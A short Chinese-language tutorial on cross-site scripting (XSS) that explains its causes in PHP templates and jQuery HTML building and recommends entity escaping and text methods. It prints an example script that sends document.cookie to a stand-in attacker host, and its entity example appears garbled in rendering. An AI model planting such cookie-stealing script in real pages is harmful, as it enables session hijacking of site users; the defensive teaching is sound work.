XSS (cross site scripting) 即跨站脚本。
比如在有表单输入的地方,用户输入了类似的东西,而服务器没有经过过滤就保存下来了,别的用户看到网页就会弹出提示框。当然,xss攻击还可以做其他更加复杂的事情。比如,获取cookie什么的。
类似的还有:
<script>document.write('想执行什么执行什么')</script>
var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
//窃取cookies
XSS 的成因以及如何避免
- 后台模板问题
<p>
评论内容:<?php echo $content; ?>
</p>
$content 的内容,没有经过任何过滤,原样输出。
要解决这个原因,只需要后台输出的时候,将可疑的符号<符号变成 < (HTML实体)就行。
- 前端代码问题
$p.html(content)
或者
$p = $('<p>'+ content +'</p>')
content 内容又被原样输出了。
解决办法就是不要自己拼 HTML,尽量使用 text 方法。如果一定要使用 HTML,就把可疑符号变成 HTML 实体。
参考:方方: 「每日一题」XSS 是什么?
shawWey: 浅谈XSS攻击原理与解决方法